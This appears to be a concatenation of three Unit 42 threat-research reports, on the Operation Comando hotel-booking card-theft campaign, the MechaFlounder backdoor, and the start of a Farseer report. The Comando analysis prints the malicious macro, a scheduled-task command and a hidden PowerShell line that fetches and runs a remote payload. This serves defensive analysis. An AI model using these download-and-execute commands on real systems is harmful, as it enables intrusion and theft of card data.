Operation Comando: How to Run a Cheap and Effective Credit Card Business

In December 2018, Palo Alto Networks Unit 42 researchers identified an ongoing campaign with a strong focus on the hospitality sector, specifically on hotel reservations. Although our initial analysis didn’t show any novel or advanced techniques, we did observe strong persistence during the campaign that triggered our curiosity.

We followed network traces and pivoted on the information left behind by this actor, such as open directories, document metadata, and binary peculiarities, which enabled us to find a custom-made piece of malware, that we named “CapturaTela”. Our discovery of this malware family shows the reason for the persistent focus on hotel reservations as a primary vector: stealing credit card information from customers.

We profiled this threat actor and that has resulted in uncovering not only their delivery mechanisms, but also their arsenal of remote access tools and info-stealing trojans, both acquired from underground forums as well as open source tools found in GitHub repositories.

Have you ever wondered how an actor can run a very cheap and effective credit card data underground business? Welcome to “Operation Comando”.

The attacker’s delivery mechanisms

Our telemetry for this campaign identified email as the primary delivery mechanism and found the first related samples were distributed in August 2018. Topics used by the actor are typically related to travel bookings and vouchers, and target mainly Brazilian victims. Table 1 shows a representative list of typical subjects and attachment names found during the campaign.

Email Subject Attachment names
Reserva para tres quartos “Ficha cadastral Leticia Ferreira Mendes.ppam”, “Ficha cadastral Jacinto Mendes da Silva.ppam”, “Ficha cadastral Marcos Portela Correa.ppam”, “Ficha cadastral Francisco Prado.ppam”
Reserva Veirano Advogador Roominglist Veirano Advogados .docx
Corrigir data da reserva para o dia 03 Booking - Dados da Reserva.docx
Voucher para reserva Voucher para reserva 02.docx
Reserva Voucher de Reserva ADRIANA MILLER RODRIGUES.ppa

Table 1 Some email subjects and attachment names representative of this campaign.

 While investigating the malicious documents used in the campaign, we discovered an interesting consistency in the document metadata. The author consistently uses an acronym throughout their work - “C.D.T Original” (see details on Figure 1).

Figure 1 Example of malicious document metadata

The attackers make use of multiple common off-the-shelf methods that are observed in many campaigns, such as external references to remote scripts executed by MSHTA. Following this approach, this actor can find multiple tools and resources to perform their activities, and at the same time, make attribution and tracking more difficult for analysts. The most prevalent combinations of methods observed are depicted in Figure 2.

Figure 2 Multiple delivery mechanisms.

As an example of an email delivery used during December 2018 campaigns, let’s look at what pretended to be a rooming list (SHA256: ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187), which follows one path from Figure 2, more precisely the steps described in Figure 3.

Figure 3 December 2018 campaign delivery example

The malicious documents contain a simple Macro, which executes a remotely-hosted script using MSHTA:

Public Sub Auto_Open()

var0 = "MSHTA https://bit[.]ly/2QXNTHi"

Var = var0

Shell (Var)

End Sub

The landing URL resolves to:

hxxps://internetexplorer200[.]blogspot[.]com/

The statistics for the URL-shortened link on bit.ly confirm the observations from our telemetry, showing targets mainly in Brazil, as depicted in Figure 4 Distribution of Bit.ly campaign on 27-28th December.

Figure 4 Distribution of Bit.ly campaign on 27-28th December

 

MSHTA executes VBScript contents that are encoded/obfuscated using a very simple algorithm (note the presence of Portuguese words throughout the code).

Figure 5 First stage VBScript code run via MSHTA

This results in the following scheduled task created in the system, where a new second-stage script is invoked via MSHTA from another remote location. Note that the second-stage VB code contains a reference to “CDT” in a comment.

"set shhh = CreateObject(\"WScript.Shell\")\r\n   Dim var1\r\n var1 = \"cmd.exe /c SchTasks /Create /sc MINUTE /MO 240 /TN AdobeUpdateSD /TR \"\".exe https://minhacasaminhavidacdt.blogspot[.]com/\"\r\nshhh.run var1, vbHide\r\n"

Figure 6 Second-stage VB script

This second-stage VBScript code ends up loading a final payload in memory via PowerShell reflection, fetching the binary content from a file with a GIF extension:

"CreateObject(\"Wscript.Shell\").run  \"cmd.exe /c powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [Reflection.Assembly]::Load([Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://achoteis.com[.]br/images/64.gif'))).EntryPoint.Invoke($null,$null)\"\r\n"

The final payload delivered in this case is Revenge Remote Access Trojan (RAT), a commodity tool which can be used to facilitate information theft.

Infrastructure analysis

At the infrastructure level, the attacker makes use of dynamic DNS (DDNS) services such as DuckDNS, WinCo, or No-IP, many of which offer free accounts lowering the investment required for attacker infrastructure. Some examples of the domains in use are detailed in Table 2.

Dynamic DNS Domains
systenfailued.ddns[.]com[.]br
office365update[.]duckdns[.]org
cdtoriginal[.]ddns[.]net

Table 2 Examples of domains associated with this campaign using DDNS providers

In addition to using free services, paste sites, and compromised sites, we have also identified at least one domain that appears to be actor-owned. The domain “fejalconstrucoes[.]com[.]br” has been used to host payloads, as well as send emails to potential victims. Figure 7 DNS WHOIS record shows details on the domain, which has been registered using the UOL service in Brazil.

Figure 7 DNS WHOIS record

Emails with malicious attachments belonging to this campaign have been found with the following characteristics:

Domain: fejalconstrucoes[.]com[.]br

Email Senders: mmcorrea@fejalconstrucoes.com.br, marcos@fejalconstrucoes.com.br

Attachment names: Contrato Anual FEJAL Construçoes.ppa

As mentioned before, an interesting detail on domains and paths used by the attacker is the use of the recurring acronym “CDT”, as for example:

hxxp://bit[.]ly/cdtqueda

hxxp://cdtoriginal.ddns[.]net

Identifying the main business driver: “CapturaTela”

During our investigation, one open directory identified allowed us to find several payloads used by the attacker. Table 3 displays the set of payloads and documents found. The acronym “CDT” keeps appearing even in file names used.

Filename SHA256
CDT.hta 4485a8f339171ca86f7e38b912f0f28072ffe04404d5062af3a60f322566f870
Copia Detalhe da reserva - Booking.ppam

 

ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187

 

DadosDaReserva.doc

 

03483d2e701f8f90c9cc46b37f12f1cef995e4cca4b5c4b9e67947f560275677

 

DillI.js

 

d5f4d7fb7c8042b047e9f3d93d5f02841f01889ba8a899c0c1ed7064129e3bb4

 

quasar.jse

 

03d7de252c30c87d6b156b4fbcdcd008ef6bae319a9c42613aaa01428bd490e3

 

Table 3 Contents found in an open directory at cdtmaster[.]com[.]br

Despite the filename, "quasar.jse" is not QuasarRAT, but instead a JS script which contains a basic base64 encoded payload dropper (see Figure 8), with a very simple and interesting payload for our investigation.

Figure 8 JS base64 payload dropper

The decoded payload is a PE file, written in .NET, with information-stealing capabilities. One of its main methods gives name to our malware family “CapturaTela”, and as its Portuguese name indicates, it has the capability to save a screenshot into a Bitmap object.

Figure 9 CapturaTela method's screen capture capabilities.

The main functionality of this malicious information-stealing trojan is the following (see Figure 10):

  • Iterate over the open processes list and check for specific window titles. The title has to contain either “ls . B” or “o . B” for the sample to perform further activity.
  • If the title is found, a screenshot will be taken and sent by email as a JPEG attachment (see Figure 12).
  • It will kill existing Chrome processes when done. The windows' titles are probably based on Chrome tag contents.

Figure 10 Main functionality loop of CapturaTela

Figure 11 Email exfiltration capabilities of CapturaTela

In order to validate the functionality, we decided to create a simple web page matching the title content and patched the malicious sample to use a test email account under our control (see Figure 12).

Figure 12 Test HTML page and debugging CapturaTela functionality

As a result, as displayed in Figure 13, we confirmed the format and contents of the exfiltrated information that the attacker was planning to collect from its victims.

Figure 13 Email received with data exfiltrated

 

So, the only remaining question for our investigation was the kind of content and window titles that this information-stealing trojan was looking for?  Which kind of web pages could contain “ls · B or o · B” as part of their title?

Initially, finding a website with these properties seemed to be an impossible task, but we started the research based on what we knew around the targets and email delivery session metadata used on these campaigns. From this data, we were able to identify potential target websites containing certain – but common to the industry and nature of the business – terms in their website page titles, in both English and Portuguese, that would match the string pattern-matching described above and invoke the malware’s credit card stealing capabilities. The websites found lead us to the fact that the attacker’s focus is on getting the victim’s full credit card details during a given purchase process.

After analyzing several CapturaTela samples, and extracting the contents of the email configuration portion, several interesting strings were found as displayed in Table 4.

Interesting strings
Comando30
Comando30@cdt
comando50

Table 4 Interesting strings in email configurations

The continuous use of the “CDT” acronym, and the presence of the word “Comando”, which we could associate to the first letter, led to us to choose “Operation Comando” to describe this campaign.

Extensive use of Remote Access Trojans

Aside from the use of the custom trojan CapturaTela, the actor makes extensive use of several other remote access trojans to perform its malicious activities. The following RAT families has been observed during the actor campaign.

RAT Family
LimeRAT
RevengeRAT
NjRAT
AsyncRAT
NanoCoreRAT
RemcosRAT

Table 5 Top RAT families observed in this campaign

The extensive use of these RAT tools potentially increases the business objectives, given the amount of information the actor can obtain on top of credit card purchase results stolen from target websites via infected victims.

There are several examples of RAT families used that can be found in GitHub such as:

https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp

https://github.com/NYAN-x-CAT/Lime-RAT

Overlaps with other published research

Some of the domains and samples found on this investigation have been already researched and reported by Yoroi. Based on the details of our research, we have a strong belief that despite some minor overlaps in the techniques used, this campaign is not related to Gorgon Group.

Conclusions

Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.

While cybercrime campaigns like this remain active, Palo Alto Networks customers are protected from these threats in the following ways:

  • WildFire detects all malicious documents and payloads delivered as malware.
  • AutoFocus customers can track this campaign using the following tag: OperationComando
  • Traps blocks all of the files associated with this campaign.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Indicators of Compromise

 Infrastructure

fejalconstrucoes[.]com[.]br

internetexplorer200[.]blogspot[.]com

office365update[.]duckdns[.]org

olhomagicocdt[.]duckdns[.]org

498408[.]ddns[.]net

Systenfailued[.]ddns[.]com[.]br

internetexploter[.]duckdns[.]org

ssl9294[.]websiteseguro[.]com

fejalconstrucoes[.]com[.]br

c-d-t[.]weebly[.]com

Malicious documents

55732ba1b1e94add5e75e90d5eba137bfbfbd35e537b8d5c9a01365f5a6407d7

7f13f449c80cc003d369c6b6002fd4912788e014ce35e97b29ba168136c6ece6

47c471da52aa808250357c4638078c9e13797bb6a8a8b169d4b33d95ff230e89

0c85b2ebc7c5316b7878239daf6a611fc2d0a05966f541e83e19db96f41fd3aa

62f82e636924980b622204368f586723feb82594ce256e2e65ac5307fd67d669

1c637cf4276b589f1b2806a77310b90c214cd0b026e4ec69448887be331ba5b3

d96eaf8f22ec5cb9edba6369f9980efc8b0f76bf35eaf92aa5cb5e03669ddd9f

1df7ace77a7f146b1bbd5c881134083f886ea83017f4619a9e62a9743909cdd1

03483d2e701f8f90c9cc46b37f12f1cef995e4cca4b5c4b9e67947f560275677

ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187

796c02729c9cd5d37976ddae205226e6339b64859e9980d56cbfc5f461d00910

d67e160ccc6ac2fb8cd330e9fd53389fb1f99fad680d27045e5291e9d23d9317

7f41ae21f3ad37505e5b3d0551caeb85bc9e07571d7d98acd3489b5db8ba6741

3f3718b7e50eee8b0b3e4a4da8c5a0302623b5800eb7bc0718036f77a6ec72c0

a44e08b7ebd6bf73a9eb1b5a483987a1f0e3fdfe12b05a7a8f4ec1febfcf959e

4211e091dfb33523d675d273bdc109ddecf4ee1c1f5f29e8c82b9d0344dbb6a1

fd8781f125ac1ee68afb8dba61e17373ebe57bfd18850a01d41caaddde4cffcb

269eb444415489a7898af36f1ba105129655226c98753d87afec651219e158c7

ee9d3c90df5c01dc6e2079d1219be752542a452988c4a25f34b8ee22be799332

41b57429b00383f2b5d60fb22283b5c14a94ab8619c527e7d749e64b56d31518

ce44559beb4a5d52d962ab9e375970ef1d8e9f22a0be8c971b0244ebca61b2f2

ccd23e44662953d0837ca12728854bfd61f5ea14293a1620c3b48ba8f435a432

57f31ef70a8b8b39659659abd0f1c8974fe23d2cbd2194d097375b2667a5424b

f534f9b1cc64f03c32d59acdf9d58653bb0076798805af12e6cd914cbbfcf5fa

846a89bbcf6c907fd915699a232c1f9acae0756fdc12c590198bfe65b4c90f44

4f2ce6883b7057bde6baed2607e4645e4745db9ebfb20872e425944ba8ec3425

722a2d8d4c1fb1e5195df50b159cdce0b05333acbb3ec90d24310331d21d2514

e54bfccc796a4f779d332e535f78a5b118dbcd8a8971e39ac059ee9f069a1203

4f4ea063d5bd22f1c57cdcf89d40339ddd5d5741c1b1dabfe52a474d70be9d04

 CapturaTela

 c7f3673ca116f76b16a7e00d81553abb0df02e75d4ac8fb6d3af52d351d9b46a

904a4799edf642e6e685a137c88691f08b51643e539bea8de9e4cdf8c6251c7f

a03bc280123541518845cc167b4e812bbe9682696af4eeac041385cc0a00f5c6

RATs

2b343e0b0aa8de557fa11c9918f1b93ab6e88d9bd11565c587852d4d17bcf5a8

57d83d5928bb8926718e732a85dd69dffe6ff61ff7edd9b843a50959f2fd1256

33195ec463ba9d627a0c177eca366bbefa34306170449a5c0ef7661319ba2b05

7eaea64fdfdc4f35ffe3036ee03f54c4aace204533a9d157faafa4a23221980c

e76772ae83e2c79ed4aa80b5b7f4b42c46cea45ed1d15bd004b0dc71bfc41945

977d940de630fff225e4917927d47100b75b56444c4117a22aa34b1450dc2930

8a700793012385a706ef277f043bb5bf8a5ef877e3ba1fac3b5601df7fb36a30

c740fe0dbf5aebf5f34e392a9bff0d4a19bf20ff553bb734574c2593ddcbbfa1

10a7ba12bebaa572eb6eb4bef6d1a5043c5403bf796626a478205b344c4dc8c2

4aff04954efd6cb02b1ba18831a72d44b2346db94e944a9f96c652f5944834d0

d735d39de62009d09d7125f71cd774b23b6ab4a51d1dbb3d49003a5657b3477f

9ad38281585897b1d49632ad049c700814f72e20edc46bbc43ba510413ac6f92

877453c0e614e732eb9ee378693cf92263d2373e09c8287e3a4a821ecee29764

b82c7535e41cddade675587ddaac9cb63fdf1973968f10f3a2bc1ea5409a29c2

ec824085dac0d7e0d2e3953d241756a78635a32ad442b7909f0895fd62b08010

5c073adb376b57c99faa9cf10114beda732b13d04b7ed45a32c23eb043ec608f

8d1db84b71eb1f38f95c13c89a6adfbc64d7ca5c5a5165ae7919e0d1e6fadc45

b278ccf189d51b085390a985526ff37455ebe249ca9da69f64e2376979c56e6b

e99df30a89dee25f56c2f35b20de2206406934f2e6ab043e299482649dce2cb8

8e738b2239bbca9f50eab5f3cf3cbe58138e3b2515221c67e7eb934e2d3c7486

b904e2823144ca9ab3161c3e508a88dc35922340e4ff2858e06b40e638bfd359

99b70d49377117000eaf367c037ed68c4898b0d8769f7bff88a438a9d82db214

982e2abc769f579a8753e8b2f65e0b0bbfbbdbae14b88f0ed697b635a9f4e38f

03cb44736cdd60318af8399047507b011b95fadd4784b1607b28ad4940a9a36e

e9f42c7fbedf0054391c3a85b79a34b5be134b40a83961cc90d0e473380fde1c

6c45909d6311f8d356ddc704b27bd975cb3336a7b6e172206165bff613f94a2a

9025c9b8cfc57e7dda5e742f18d69b4c4477f9254d10c5df15b7a6ffcf7d5985

ae3cddb0f665d739ebf5342a968585a5d13d54068ef59a51e82e739d184c6b3b

d5baf4a27994ef2110bcc3a0b3ff2cd3815bac36d271462d1a39f77063bae9a5

b0593829ea59d267f511f2685aa8ecf31860e123e0928ca8bf3fc1e30b3c4953

1c30a54a8ad30faff0a7b309d377127ed739ea80c510d7526bbb5cbe6ef5cfc9

498fd1c4cb16f39974555d6e596fcea6c7da73f9f0f30f57fdc8177fc3feaa4e

1c604e040c04be9fad3129d7bd9c69b7f8057050b2002605dde1f5e60817f89a

5dfd79503b19b67052ec060d74e1f2a9a5ee34de74d578c5b4499468bad8f1cb

bc4c98116fadbcef2abfd0fe62a15b154a3b8a8eb329a877d64edc59260519c4

9c794069b4d6346f8152b938e4f846af63d1f1015c935579d99af1c434789406

7923c59d1405deacaceb26722db97714cf955610e02bf6d28051505331603606

a03bc280123541518845cc167b4e812bbe9682696af4eeac041385cc0a00f5c6

c7f3673ca116f76b16a7e00d81553abb0df02e75d4ac8fb6d3af52d351d9b46a

824d080a4da2275951a28285b66faac1698205dff181fe5fa1cf172ac1a17d8f

0b04028774f0e166dcbe0f993b72c430dc15364e9cc52c221bdadcc9833816f2

22e9260c6a4af1d42c353c7004cb2f5f245cea5e22572b111fcef4318c17e567

904a4799edf642e6e685a137c88691f08b51643e539bea8de9e4cdf8c6251c7f

7a9e3038d498d5ecaed19f6a80d9b0b7d73d47e669be8d61ca32d87566d7a035

16ea765b2c51eadc61c6501b4ba96073a7d50f8cd7898285ffad49ba14a121dd

18199bb3ad69901ef0040aa7445d6f0c8571a19cdade3115ffc9c142c0b5b721

b940dc214f6a0be58e93f07aafcbc5a7518544f745413360269949664909fecd

2d26bc42a499c4658523193ade85df13ab397d375fa593a757c54a6f1c71f221

94a38857ebeed7d10480fb91a391a891d5a11137fabb8fc67b71c989b5e328e6

116da8803ac9b2dd7e1149567f227d552e84db86dd7a33ad69e15b560f0fa177

2945e6424f51e6077620a867e0f9c725b9b816164366912289ab6c24fdfcb9e6

88d1a891cfdf09b7e1882582a82c3218d5606ed530764d34ee1410198ca9ee8b

96424d66b7423dc54b35e4968a809a8b67d1dd8e7d8d3b0d84434edb94c822c5

3158906cf7cb3186654bbb62d087b9a150c12c51d2ad67dd9003abeb0f69626a

4e62dcea72cf73481dd8dae2bbeb8e1352a5f2510f3deb98ec0b653a4d21f8d8

5370711dd45b84b9644b635d03baad08d75ff740364e93ed023adc9c4a297c43

02254a03f08055399806b6457ee5e4fe6cfc47c6f75254434a14332d4c43afe5

bf07b4ba117eb7d0ac59cbdd775e6a509c06a462b709b4f2d10979c9e5b3cf85

 

New Python-Based Payload MechaFlounder Used by Chafer

In November 2018 the Chafer threat group targeted a Turkish government entity reusing infrastructure that they used in campaigns reported earlier in 2018 by Clearsky, specifically, the domain win10-update[.]com. While we lack visibility into the initial delivery mechanism of this attack, we did observe a secondary payload hosted on 185.177.59[.]70, the IP address to which this domain resolved at the time of the activity.

Unit 42 has observed Chafer activity since 2016, however, Chafer has been active since at least 2015. This new secondary payload is Python-based and compiled into executable form using the PyInstaller utility. This is the first instance where Unit 42 has identified a Python-based payload used by these operators. We’ve also identified code overlap with OilRig’s Clayside VBScript but at this time track Chafer and OilRig as separate threat groups. We have named this payload MechaFlounder for tracking purposes and discuss details below.

Turkish Government Targeting

Our visibility into this Chafer activity involves the identification of a malicious executable  downloaded from the IP address 185.177.59[.]70. How the attackers are targeting victims and causing them to download this file are currently not known.

The file named ‘lsass.exe’ was downloaded from win10-update[.]com via an HTTP request. The win10-update[.]com domain has been noted in open source as an indicator associated with Chafer threat operations. The lsass.exe file downloaded from this domain is a previously unreported python-based payload that we are currently tracking as MechaFlounder. We believe Chafer uses MechaFlounder as a secondary payload that the group downloads from a first-stage payload to carry out its post-exploitation activities on the compromised host. Based on our telemetry, the first-stage payload was not observed in this activity.

In February 2018, IP address 134.119.217[.]87 resolved to win10-update[.]com and several other domains likely associated with Chafer activity. Of interest, the domain turkiyeburslari[.]tk, which mirrors the legitimate Turkish Scholarship government domain turkiyeburslari[.]gov[.]tr, also resolved to this IP and may likely have been used in other Chafer collection operations. The domains associated with this IP address are included within the Appendix and displayed in Figure 1 below.

Figure 1. Infrastructure associated with 134.119.217[.]87

The MechaFlounder Payload

The python-based payload, ‘lsass.exe’ was retrieved from a command and control (C2) server via an HTTP request to the following URL:

win10-update[.]com/update.php?req=<redacted>&m=d

This payload, (SHA256: 0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff), which we are tracking as MechaFlounder, was developed in Python and bundled as a portable executable using the PyInstaller tool. This secondary payload acts as a backdoor allowing the operator to upload and download files, as well as run additional commands and applications on the compromised system.

MechaFlounder begins by entering a loop that will continuously attempt to communicate with its C2 server. The Trojan will use HTTP to send an outbound beacon to its C2 server that contains the user's account name and hostname in the URL. The code, seen in Figure 2, builds the URL by concatenating the username and hostname with two dashes "--" between the two strings. The code then creates the URL string by using the username and hostname string twice with the back-slash "\" character between the two and by appending the string "-sample.html".

Figure 2. Trojan code used to build anomalous HTTP request

During this analysis, the code in Figure 2 generated anomalous HTTP requests for its beacons, as shown in Figure 3 below. One might notice that the GET request in Figure 3 does not start with a forward-slash "/" character and includes a back-slash character "\" in the URL. This causes a legitimate web server, such as nginx used in our test environment, to respond with a '400 Bad Request' error message. This may suggest that even though the code in Figure 2 uses the HTTPConnection class from the httplib module to generate the anomalous HTTP beacon, it is likely that the threat actors created a custom server to handle this C2 channel instead of relying on a standard web server.

Additionally, Figure 2 shows that the malware author used the variable name 'cmd' to build the string used for the HTTP method and path and checks the HTTP method portion of the string for the word 'exit'. We are unsure of the purpose of this check, as the HTTP method in this string would never be 'exit' and therefore would never be true. We believe this is an artifact likely derived from a previous version of the script that the author forgot to remove.

Figure 3. Example HTTP request issued by Trojan in test environment

If the C2 server were to accept the beacon in Figure 3, it would respond with HTML that contains a command intended for the Trojan to parse and execute. The Trojan begins by converting the HTML in the response to text using the code seen in Figure 4 below. The HTML to text code in Figure 4 is available in several locations on the Internet, but it appears to have possibly originated from a discussion at Stack Overflow titled Extracting text from HTML file using Python, which may be where the malware author obtained this code.

Figure 4. HTML to text code in Trojan possibly obtained from Stack Overflow discussion

After converting the HTML to text, the Trojan discards the first 10 characters of the response and treats the remainder of the string as a command. The C2 can also provide the string "yes " in this command string, which instructs the Trojan to decode the command as a base16 encoded string with the "yes " substring removed. The Trojan subjects the command supplied by the C2 to a handler that determines the activities the Trojan will perform. Table 1 shows a list of commands available within the Trojan's command handler and the corresponding activities. The commands in the command handler provides the necessary functionality for Chafer to interact with the remote system.

Command Description
Terminate Terminates the connection
download Downloads provided <filename> that it will obtain from http://<c2 server>/<filename> and saves it to C:\Users\Public\<filename>.
runtime Sets the sleep interval between beacons.
upload Uploads provided <filename> to http://<c2 server> via HTTP POST.
cd Changes the current working directory
empty Does nothing, likely an Idle command.
<anything else> Attempts to run the supplied data as a command on the command line.

Table 1. Commands available in Trojan’s command handler

We gained more insight into the custom C2 server application by analyzing the activities that MechaFlounder carries out if it receives the ‘upload’ command. To upload a specified file from the compromised system to the C2 server, the Trojan uses the Browser class in the mechanize module (partial basis of the MechaFlounder name) to submit the file to an HTML form on the C2 server. This suggests that in addition to being able to handle the anomalous HTTP GET requests previously mentioned, the custom C2 server application must also be able to:

  1. Serve HTML that contains a form to receive uploaded files,
  2. Handle legitimate HTTP POST requests generated by the mechanize module, and
  3. Save files uploaded with the HTTP POST request.

After carrying out the activities for the command, the Trojan will encode the results or output message of the command using the 'base64.b16encode' method. Each command has an output message for both a successful and failed execution of the command with the exception of ‘empty’ and ‘terminate’. Table 2 below shows the success and failure messages associated with each command.

Command Message type Output message structure
download Success <username>--<hostname>||download <filename>**download success\n
Fail <exception message>||<username>--<hostname>**download failed, download <filename> \n
upload Success <username>--<hostname>||upload <filename>**upload success \n
Fail (no file) <username>--<hostname >||<command issued>**no such file\n
Fail (exception) <exception message>||<username>--<hostname>**upload failed,upload <filename> \n
runtime Success <interval>||<username>--<hostname>**runtime changed to <command issued>
Fail <username>--<hostname>||<command issued>**runtime change failed because of large mount
cd Success <username>--<hostname>||<command issued>**directory changed success to <directory>
Fail <username>--<hostname>||<command issued>**Couldn"t change directory
<anything else> (command execution) Success <username>--<hostname>||<command issued>**<command stdout>
Fail <username>--<hostname>||<command issued>**<command stderr>

Table 2. Success and failure messages associated with commands

Unlike the initial beacon that uses the anomalous HTTP GET request, the Trojan will send the encoded results to the C2 server using the same socket as the initial HTTP beacon. The use of the same socket and the anomalous portions of the HTTP beacon further suggests that the threat actor likely created a custom C2 server to handle this network traffic.

To show these network communications, we patched the Trojan to issue beacons that use legitimate HTTP GET requests that the HTTP server (nginx) in our test environment could support. The patches involved changing the paths within the HTTP request, specifically setting the path to start with a forward-slash “/” and have the forward-slash “/” instead of a back-splash “\” within the URL path itself. In our test environment, we added the string “0123456789runtime 5” to the file ‘rob--rob-virtual-machine-service.html’ in the ‘rob--rob-virtual-machine’ folder.

When the Trojan issues the beacon, the HTTP server responds with contents of the ‘rob--rob-virtual-machine-service.html’ file, which effectively issues a command to the Trojan. The Trojan responds to the command ‘runtime 5’ with the message "5||rob--rob-virtual-machine**runtime changed to runtime 5" that it encodes in base16. It then sends this to the C2 server without any HTTP headers using the same socket as the initial HTTP request.

Figure 5 shows the TCP session showing the initial beacon sent from the patched Trojan, the HTTP server responding with a command, and the Trojan responding to the command all in the same TCP session.

Figure 5. Single TCP Session used by the Trojan to receive commands and send command results to the C2

And one more thing...

If you think you’ve seen the “&m=d” parameter before, you’d be correct. The “&m=d” parameter seen in the initial download URL of the MechaFlounder payload appears in many URLs related to both Chafer and OilRig threat groups. This parameter has been seen in VBScript downloader payloads installed by delivery documents associated with both Oilrig and Chafer. We have also seen this parameter used in URLs generated by Chafer’s AutoIT payload. The VBScript and AutoIT payloads also share common variable names and the same overall functionality, which suggests there may be some code sharing occurring between the two threat groups.  Figure 6 below shows a VBScript run by an OilRig delivery document (SHA256: 1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1) on the left compared to a Chafer AutoIT script (SHA256: 332fab21cb0f2f50774fccf94fc7ae905a21b37fe66010dcef6b71c140bb7fa1) on the right, which have colored boxes surrounding code overlaps.

Unfortunately, we are unable to ascertain the specifics between the code sharing between OilRig and Chafer. At this time, we are not combining the two threat groups together based on these code overlaps.

Figure 6. Oilrig Clayside VBS | Chafer AutoIT

Conclusion

The Chafer threat group has been active since at least 2015 focused on both private and public sector entities within the Middle East. Unit 42 has specifically observed the targeting of Turkish government entities since at least 2016; however, this is the first instance where Unit 42 has observed Chafer using a Python-based payload. This payload, now known as MechaFlounder was created by Chafer using a combination of actor developed code and code snippets freely available online in development communities. The MechaFlounder Trojan contains enough functionality for the Chafer actors to carry out the necessary activities needed to accomplish their goals, specifically by supporting file upload and download, as well as command execution functionality.

The overlap in Oilrig’s Clayside VBScript and Chafer’s AutoIT payloads does not come as a complete surprise. Oilrig and Chafer have for quite some time appeared very similar operationally and potentially having access to the same code or resources for payload development makes sense. Unit 42 has taken reference to the various overlaps in the two sets of activities and continues to track these operations separately.

Palo Alto Networks customers are protected against this threat in the following ways:

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Appendix

MechaFlounder Sample

lsass.exe

0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff

Infrastructure referenced in this report

  • win10-update[.]com
  • 185.177.59[.]70
  • 134.119.217[.]87
  • win7-update[.]com
  • turkiyeburslari[.]tk
  • xn--mgbfv9eh74d[.]com (تلگرام[.]com)
  • ytb[.]services
  • eseses[.]tk

Farseer: Previously Unknown Malware Family bolsters the Chinese armoury

Last year, Unit 42 wrote about a newly discovered espionage Android malware family, HenBox, which had countless features for spying on their victims – primarily the Uyghur population – including interaction with Xiaomi IoT devices, and the Chinese consumer electronics manufacturer’s smart phones. 

Through investigations into infrastructure used by HenBox malware, Unit 42 has discovered another malware family built for the more frequently-targeted Microsoft Windows operating system we named ‘Farseer’. As with HenBox, Farseer also has infrastructure ties to other malware, such as Poison Ivy and Zupdax.  

We named this malware Farseer malware due to a string found in the PDB path embedded within the executable files. For example:  

 e:\WorkSpace\A1\coding\Farseer\RemoteShellsRemote\Release\RemoteShellsRemote.pdb. 

Tracking-back, we’ve seen over 30 unique samples throughout the past two and half years, with the majority in 2017 and a handful in 2018, the most recent of which were seen, at least from our visibility, during the last two months indicating a relatively low-volume yet steady flow of Farseer samples. Figure 1 below shows the trend of malicious sessions for these samples according to AutoFocus. 

 

Figure 1 AutoFocus session trends for Farseer samples over time  

Ties to HenBox Android Malware et al 

As previously mentioned, there are ties between Farseer, HenBox, PlugX, Zupdax, 9002, and Poison Ivy malware families. The infrastructure used by the combination of malware families is pretty vast, with plenty of overlaps, however in this blog we focus only on some of the core ties captured in the green rectangle, as shown in Figure 2 below. 

 

Figure 2 Maltego chart showing overlaps between Farseer and related threats  

Figure 2 shows a high-level representation of file hashes, IP addresses, and domain names used by some of the various malware families already mentioned, together with their overlaps. Farseer has the largest number of samples in Figure 2 but that’s skewed given the focus of this blog. 

 The green rectangle shows some of the core overlaps between the aforementioned families, which we will discuss in more detail now. 

 The most recent (at the point of publishing) Farseer sample (SHA256: 271E29FE… detailed in Table 2 below) introduced a new C2 domain – tcpdo[.]net – into the Farseer set, as shown in Figure 3 below. 

 

Figure 3 Maltego diagram showing tcpdo[.]net and other Farseer / PoisonIvy overlaps. 

 Figure 3 shows how this new (to Farseer) domain relates both directly to said Farseer sample and indirectly, through third-level domains and IP addresses, to other Farseer samples; a handful of Poison Ivy samples have also used this domain as their C2, mostly before this Farseer sample – as early as mid-2015 – but also more recently, one month after, on December 17th, 2018 indicating it’s a domain in fairly active use. Third-level domains of tcpdo[.]net, together with all other indicators are listed at the end of this blog. 

 The overlaps between Farseer and Poison Ivy don’t end with tcpdo[.]net. Much like with HenBox, other infrastructure ties exist: directly through sony36[.]com and  md.son36[.]com; indirectly through third-level domains of tcpdo[.]net and IP addresses 45.32.251[.]7 and 45.32.53[.]250. 

 Farseer also overlaps with HenBox and PlugX samples through multiple C2 domains and IP address resolutions:  

  • outhmail[.]com (and third-levels of this domain) 
  • cdncool[.]com (and third-levels of this domain) 
  • www3.mefound[.]com 
  • w3.changeip[.]org 
  • www5.zyns[.]com  
  • 45.32.53[.]250 
  • 45.32.44[.]52 
  • 45.32.45[.]77 
  • 59.188.196[.]162 
  • 59.188.196[.]172 

Domain outhmail[.]com was documented as part of research into a 9002 Trojan delivered through Google Drive back in 2016 further expanding the capabilities of this group and its tools.

Ghost Dragon Overlaps  

